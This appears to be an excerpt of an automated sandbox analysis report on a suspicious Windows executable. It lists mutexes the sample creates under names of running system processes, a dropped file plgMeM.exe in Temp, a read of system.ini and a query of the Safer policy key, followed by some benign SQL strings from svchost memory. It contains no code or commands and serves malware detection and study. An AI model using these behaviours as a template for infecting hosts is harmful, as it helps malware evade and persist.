Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\applicationframehost.exeM_3496_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_7056_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\officeclicktorun.exeM_2596_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6040_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_2628_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\conhost.exeM_7864_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_912_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\backgroundtaskhost.exeM_4128_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6920_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6956_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1852_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_5440_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wmiprvse.exeM_6232_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_5084_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\searchapp.exeM_4972_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\lsass.exeM_632_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_5464_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_5488_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\smss.exeM_328_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_2432_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\uxJLpe1m
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\startmenuexperiencehost.exeM_4756_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6616_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_3784_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_5376_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2248_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1080_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_3804_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\dllhost.exeM_5512_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\textinputhost.exeM_6852_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\registryM_92_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1636_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wininit.exeM_488_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_4656_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6356_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\plgmem.exeM_320_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2096_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\a4#uff09.exeM_7020_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_7604_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_860_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\sihost.exeM_3476_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2736_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_3456_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6332_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_1028_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1388_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\runtimebroker.exeM_5620_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1376_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_4252_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_5648_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\csrss.exeM_496_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_4444_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_4532_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_7052_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_4188_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wmiprvse.exeM_6116_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1260_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\conhost.exeM_5980_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_5960_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6440_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2416_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\upfc.exeM_3076_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_2692_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1804_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_2376_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1436_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\explorer.exeM_4056_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\shellexperiencehost.exeM_8092_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\winlogon.exeM_556_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1188_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1520_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1992_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2524_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_7116_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2536_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_4324_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\sihclient.exeM_7812_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6636_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_4348_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6612_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6600_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_1460_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1044_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2636_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_3468_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_5740_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2612_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1400_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_568_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6692_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1872_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_3836_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_3848_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6308_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\dllhost.exeM_520_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1668_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_5264_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_3452_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_5544_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wmiadap.exeM_3956_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\cscript.exeM_5912_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6364_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1752_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_864_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\runtimebroker.exeM_3596_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_4028_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_4944_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6808_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2424_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1212_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_2632_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\runtimebroker.exeM_5104_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_7004_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\sgrmbroker.exeM_1792_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_4456_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_792_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_7112_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6500_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_3524_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_1796_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\mpcmdrun.exeM_4716_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2948_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_5436_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_5412_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6120_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_7136_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_5380_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6656_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\runtimebroker.exeM_4844_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_2000_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\fontdrvhost.exeM_780_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_3060_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_356_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1064_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_968_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2668_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_2876_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2656_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_748_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\conhost.exeM_5928_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6776_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_7264_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6708_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\mousocoreworker.exeM_7592_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_5260_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6316_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6328_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\runtimebroker.exeM_3536_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\ctfmon.exeM_3852_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_3012_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1760_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2316_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6448_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6412_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1952_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1976_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_7000_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_4504_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\runtimebroker.exeM_6552_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_3828_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_7080_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_3556_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_3644_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_932_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_2676_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\winstore.app.exeM_1868_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_4308_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6520_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_7132_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_7436_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6948_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\dashost.exeM_4492_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_3396_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_2716_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_5444_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\memory compressionM_1608_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1736_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wmiprvse.exeM_6740_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_4288_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_3472_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\fontdrvhost.exeM_772_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1096_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6640_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_704_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_6224_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\spoolsv.exeM_2216_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\smartscreen.exeM_5672_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\dllhost.exeM_5112_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_4256_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_180_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\services.exeM_624_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_5660_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_4636_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6704_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_1540_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_6380_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\dwm.exeM_976_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_5148_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_5124_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_5200_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_1344_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_4888_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_5604_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_4692_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_5628_
Source: C:\Users\user\Desktop\a4#Uff09.exe File created: C:\Users\user~1\AppData\Local\Temp\plgMeM.exe Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe File read: C:\Windows\system.ini Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: svchost.exe, 0000000D.00000000.1337788669.000001D957A9F000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: CREATE TABLE [WNSPushChannel]( [ChannelId] TEXT NOT NULL, [HandlerId] INTEGER REFERENCES[NotificationHandler]([RecordId]) ON DELETE CASCADE ON UPDATE CASCADE, [Uri] TEXT, [ExpiryTime] INT64, [CreatedTime] INT64, [DeviceVersion] INT64 DEFAULT '0', CONSTRAINT[] PRIMARY KEY([ChannelId]) ON CONFLICT REPLACE);
Source: svchost.exe, 0000000C.00000000.1331244764.0000018CE8D09000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SELECT [Id], [AssetPayload], [Status], [LastRefreshTime] FROM [Asset] WHERE [Status]=?;
Source: svchost.exe, 0000000C.00000000.1330856720.0000018CE7268000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: INSERT INTO [Activity] ([Id], [AppId], [PackageIdHash], [AppActivityId], [ActivityType], [ActivityStatus], [ParentActivityId], [Tag], [Group], [MatchId], [LastModifiedTime], [ExpirationTime], [Payload], [Priority], [IsLocalOnly], [PlatformDeviceId], [CreatedInCloud], [StartTime], [EndTime], [LastModifiedOnClient], [GroupAppActivityId], [ClipboardPayload], [EnterpriseId], [UserActionState], [IsRead], [GroupItems], [DdsDeviceId], [LocalExpirationTime], [ETag]) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,(SELECT [Value] FROM [ManualSequence] WHERE [Key] = 'Activity'));
Source: svchost.exe, 0000000C.00000000.1331244764.0000018CE8D09000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SELECT [Id], [AssetPayload], [Status], [LastRefreshTime] FROM [Asset] WHERE [Status]=?;=
Source: svchost.exe, 0000000C.00000000.1331482607.0000018CE8D9F000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: INSERT INTO [Activity_PackageId] ([ActivityId], [Platform], [PackageName], [ExpirationTime]) VALUES (?,?,?,?);
Source: svchost.exe, 0000000C.00000000.1331244764.0000018CE8D12000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: UPDATE [ManualSequence] SET [Value] = [Value] + 1 WHERE [Key] = 'Activity';
